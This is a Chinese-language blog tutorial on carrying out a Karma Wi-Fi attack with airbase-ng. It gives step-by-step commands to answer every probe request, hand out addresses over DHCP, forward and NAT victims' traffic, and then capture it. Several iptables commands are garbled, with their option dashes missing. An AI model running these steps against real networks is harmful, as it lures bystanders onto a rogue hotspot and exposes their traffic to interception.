airbase-ng实现Karma攻击
* * *

前言

我写这篇文章,只是想介绍一下使用airbase-ng进行karma攻击的方法。这也是以前写的文章然后存本地了,单纯介绍操作而已,没有介绍什么原理方法,也没什么技术含量。只是这方面文章较少,发出来和各位大佬交流学习。 关于更多的Karma相关原理或者通过WiFi Pineapple进行攻击实现,可以参考Freebuf一篇非常好的文章:

https://www.freebuf.com/articles/77055.html

Karma是什么

Karma是一种通过伪造虚假响应包(Probe Response)来回应STA(Wireless station,手机、平板等客户端等)探测(Probe Request)的攻击方式,让客户端误认为范围内存在曾经连接过的WiFi热点,从而骗取客户端的连接。(本段文字来源于互联网)  

实施Karma攻击

首先加载进网卡,进入监听模式

airmon-ng start wlan0

由于Karma攻击需要回应Probe Request,这里就需要使用airbase-ng工具

airbase-ng -P -C 30 -v wlan2mon

看一下这两个参数的介绍:

-P               : respond to all probes, even when specifying ESSIDs

-C seconds       : enables beaconing of probed ESSID values (requires -P)

接下来,由于airbase-ng创建了at0接口,我们需要手工使能at0,并且配置IP地址、路由

ifconfig at0 up

ifconfig at0 192.168.1.1 netmask 255.255.255.0

route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

(换了个kali,因为是以前写的文章,不记得为啥要换kali了)

接下来就是配置dhcp客户端,我用的kali是老版本,使用dhcpd,现在都已经是isc-dhcp-server,不再使用dhcpd了,大同小异。 关于dhcpserver,不同版本的linux可能会遇到不同的问题,Google一下解决方法就好。

然后设置转发

echo 1 > /proc/sys/net/ipv4/ip_forward

马上就有人上钩了

但是我们连上之后发现,其实是并没有网络连接,甚至ping不通

需要设置iptable

iptablesflush

iptablestable natflush

iptablesdelete-chain

iptablestable natdelete-chain

iptables -P FORWARD ACCEPT

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

现在就可以正常上网了

现在的情况本质是:我们通过Soft AP方法创建了热点,被攻击者连接上了。 接下来,就由攻击者自由发挥了,比如抓包

Author: Y1ng
Link: https://www.gem-love.com/2020/01/17/airbase-ng实现karma攻击/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!